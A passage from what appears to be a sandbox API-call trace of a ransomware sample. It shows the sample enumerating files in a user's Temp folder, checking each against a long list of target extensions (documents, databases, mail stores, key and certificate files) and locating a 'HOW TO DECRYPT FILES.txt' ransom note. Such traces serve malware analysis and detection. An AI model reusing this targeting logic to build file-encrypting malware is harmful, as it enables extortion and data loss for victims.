[0086.693] lstrlenA (lpString="*.mp4") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.ppt") returned 0 [0086.693] lstrlenA (lpString="*.ppt") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.pptx") returned 0 [0086.693] lstrlenA (lpString="*.pptx") returned 6 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.doc") returned 0 [0086.693] lstrlenA (lpString="*.doc") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.dot") returned 0 [0086.693] lstrlenA (lpString="*.dot") returned 5 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.docx") returned 0 [0086.693] lstrlenA (lpString="*.docx") returned 6 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.7z") returned 0 [0086.693] lstrlenA (lpString="*.7z") returned 4 [0086.693] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.tar") returned 0 [0086.693] lstrlenA (lpString="*.tar") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.bz2") returned 0 [0086.694] lstrlenA (lpString="*.bz2") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.gz") returned 0 [0086.694] lstrlenA (lpString="*.gz") returned 4 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.mkv") returned 0 [0086.694] lstrlenA (lpString="*.mkv") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.eml") returned 0 [0086.694] lstrlenA (lpString="*.eml") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.msg") returned 0 [0086.694] lstrlenA (lpString="*.msg") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.edb") returned 0 [0086.694] lstrlenA (lpString="*.edb") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.accdb") returned 0 [0086.694] lstrlenA (lpString="*.accdb") returned 7 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.odb") returned 0 [0086.694] lstrlenA (lpString="*.odb") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.java") returned 0 [0086.694] lstrlenA (lpString="*.java") returned 6 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.asm") returned 0 [0086.694] lstrlenA (lpString="*.asm") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.pfx") returned 0 [0086.694] lstrlenA (lpString="*.pfx") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.pem") returned 0 [0086.694] lstrlenA (lpString="*.pem") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.p12") returned 0 [0086.694] lstrlenA (lpString="*.p12") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.gpg") returned 0 [0086.694] lstrlenA (lpString="*.gpg") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.vsd") returned 0 [0086.694] lstrlenA (lpString="*.vsd") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.odg") returned 0 [0086.694] lstrlenA (lpString="*.odg") returned 5 [0086.694] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.raw") returned 0 [0086.694] lstrlenA (lpString="*.raw") returned 5 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.nef") returned 0 [0086.695] lstrlenA (lpString="*.nef") returned 5 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.svg") returned 0 [0086.695] lstrlenA (lpString="*.svg") returned 5 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.psd") returned 0 [0086.695] lstrlenA (lpString="*.psd") returned 5 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.vmx") returned 0 [0086.695] lstrlenA (lpString="*.vmx") returned 5 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.vmdk") returned 0 [0086.695] lstrlenA (lpString="*.vmdk") returned 6 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.vdi") returned 0 [0086.695] lstrlenA (lpString="*.vdi") returned 5 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.lay6") returned 0 [0086.695] lstrlenA (lpString="*.lay6") returned 6 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.mpeg") returned 0 [0086.695] lstrlenA (lpString="*.mpeg") returned 6 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.djvu") returned 0 [0086.695] lstrlenA (lpString="*.djvu") returned 6 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.tiff") returned 0 [0086.695] lstrlenA (lpString="*.tiff") returned 6 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.backup") returned 0 [0086.695] lstrlenA (lpString="*.backup") returned 8 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.pdf") returned 0 [0086.695] lstrlenA (lpString="*.pdf") returned 5 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.cert") returned 0 [0086.695] lstrlenA (lpString="*.cert") returned 6 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.docm") returned 0 [0086.695] lstrlenA (lpString="*.docm") returned 6 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.xlsm") returned 0 [0086.695] lstrlenA (lpString="*.xlsm") returned 6 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.dwg") returned 0 [0086.695] lstrlenA (lpString="*.dwg") returned 5 [0086.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.nd") returned 0 [0086.696] lstrlenA (lpString="*.nd") returned 4 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.tlg") returned 0 [0086.696] lstrlenA (lpString="*.tlg") returned 5 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.lgb") returned 0 [0086.696] lstrlenA (lpString="*.lgb") returned 5 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.mov") returned 0 [0086.696] lstrlenA (lpString="*.mov") returned 5 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.xdw") returned 0 [0086.696] lstrlenA (lpString="*.xdw") returned 5 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.ods") returned 0 [0086.696] lstrlenA (lpString="*.ods") returned 5 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.wav") returned 0 [0086.696] lstrlenA (lpString="*.wav") returned 5 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.mp3") returned 0 [0086.696] lstrlenA (lpString="*.mp3") returned 5 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.aiff") returned 0 [0086.696] lstrlenA (lpString="*.aiff") returned 6 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.flac") returned 0 [0086.696] lstrlenA (lpString="*.flac") returned 6 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.m4a") returned 0 [0086.696] lstrlenA (lpString="*.m4a") returned 5 [0086.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi", pszSpec="*.csv") returned 0 [0086.696] lstrlenA (lpString="*.csv") returned 5 [0086.696] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9640ff30, ftCreationTime.dwHighDateTime=0x1d5dba0, ftLastAccessTime.dwLowDateTime=0x1f1d3690, ftLastAccessTime.dwHighDateTime=0x1d5ddf2, ftLastWriteTime.dwLowDateTime=0x1f1d3690, ftLastWriteTime.dwHighDateTime=0x1d5ddf2, nFileSizeHigh=0x0, nFileSizeLow=0x175c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="qysHNYm_8RPQ.gif", cAlternateFileName="QYSHNY~1.GIF")) returned 1 [0086.696] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.696] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="qysHNYm_8RPQ.gif") returned -1 [0086.696] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="qysHNYm_8RPQ.gif") returned -1 [0086.696] lstrcmpiA (lpString1="", lpString2="qysHNYm_8RPQ.gif") returned -1 [0086.696] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PCxfJZ 0TVHKPq3H_uRg.avi") returned="PCxfJZ 0TVHKPq3H_uRg.avi" [0086.697] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.697] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.697] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.697] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.697] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="qysHNYm_8RPQ.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif" [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.ems") returned 0 [0086.697] lstrlenA (lpString="*.ems") returned 5 [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.db") returned 0 [0086.697] lstrlenA (lpString="*.db") returned 4 [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.dbf") returned 0 [0086.697] lstrlenA (lpString="*.dbf") returned 5 [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.myox") returned 0 [0086.697] lstrlenA (lpString="*.myox") returned 6 [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.myo") returned 0 [0086.697] lstrlenA (lpString="*.myo") returned 5 [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.qbw") returned 0 [0086.697] lstrlenA (lpString="*.qbw") returned 5 [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.qbb") returned 0 [0086.697] lstrlenA (lpString="*.qbb") returned 5 [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.qbm") returned 0 [0086.697] lstrlenA (lpString="*.qbm") returned 5 [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.qbo") returned 0 [0086.697] lstrlenA (lpString="*.qbo") returned 5 [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.qbx") returned 0 [0086.697] lstrlenA (lpString="*.qbx") returned 5 [0086.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.qba") returned 0 [0086.698] lstrlenA (lpString="*.qba") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.qby") returned 0 [0086.698] lstrlenA (lpString="*.qby") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.qbj") returned 0 [0086.698] lstrlenA (lpString="*.qbj") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.ofx") returned 0 [0086.698] lstrlenA (lpString="*.ofx") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.qif") returned 0 [0086.698] lstrlenA (lpString="*.qif") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.mye") returned 0 [0086.698] lstrlenA (lpString="*.mye") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.mbox") returned 0 [0086.698] lstrlenA (lpString="*.mbox") returned 6 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.eml") returned 0 [0086.698] lstrlenA (lpString="*.eml") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.pst") returned 0 [0086.698] lstrlenA (lpString="*.pst") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.ost") returned 0 [0086.698] lstrlenA (lpString="*.ost") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.idx") returned 0 [0086.698] lstrlenA (lpString="*.idx") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.dbx") returned 0 [0086.698] lstrlenA (lpString="*.dbx") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.sql") returned 0 [0086.698] lstrlenA (lpString="*.sql") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.mdb") returned 0 [0086.698] lstrlenA (lpString="*.mdb") returned 5 [0086.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.fdb") returned 0 [0086.698] lstrlenA (lpString="*.fdb") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.wab") returned 0 [0086.699] lstrlenA (lpString="*.wab") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.dat") returned 0 [0086.699] lstrlenA (lpString="*.dat") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.txt") returned 0 [0086.699] lstrlenA (lpString="*.txt") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.jpeg") returned 0 [0086.699] lstrlenA (lpString="*.jpeg") returned 6 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.jpg") returned 0 [0086.699] lstrlenA (lpString="*.jpg") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.png") returned 0 [0086.699] lstrlenA (lpString="*.png") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.php") returned 0 [0086.699] lstrlenA (lpString="*.php") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.cs") returned 0 [0086.699] lstrlenA (lpString="*.cs") returned 4 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.cpp") returned 0 [0086.699] lstrlenA (lpString="*.cpp") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.rar") returned 0 [0086.699] lstrlenA (lpString="*.rar") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.zip") returned 0 [0086.699] lstrlenA (lpString="*.zip") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.html") returned 0 [0086.699] lstrlenA (lpString="*.html") returned 6 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.htm") returned 0 [0086.699] lstrlenA (lpString="*.htm") returned 5 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.xlsx") returned 0 [0086.699] lstrlenA (lpString="*.xlsx") returned 6 [0086.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.xls") returned 0 [0086.700] lstrlenA (lpString="*.xls") returned 5 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.mp4") returned 0 [0086.700] lstrlenA (lpString="*.mp4") returned 5 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.ppt") returned 0 [0086.700] lstrlenA (lpString="*.ppt") returned 5 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.pptx") returned 0 [0086.700] lstrlenA (lpString="*.pptx") returned 6 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.doc") returned 0 [0086.700] lstrlenA (lpString="*.doc") returned 5 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.dot") returned 0 [0086.700] lstrlenA (lpString="*.dot") returned 5 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.docx") returned 0 [0086.700] lstrlenA (lpString="*.docx") returned 6 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.7z") returned 0 [0086.700] lstrlenA (lpString="*.7z") returned 4 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.tar") returned 0 [0086.700] lstrlenA (lpString="*.tar") returned 5 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.bz2") returned 0 [0086.700] lstrlenA (lpString="*.bz2") returned 5 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.gz") returned 0 [0086.700] lstrlenA (lpString="*.gz") returned 4 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.mkv") returned 0 [0086.700] lstrlenA (lpString="*.mkv") returned 5 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.eml") returned 0 [0086.700] lstrlenA (lpString="*.eml") returned 5 [0086.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\qysHNYm_8RPQ.gif", pszSpec="*.msg") returned 0 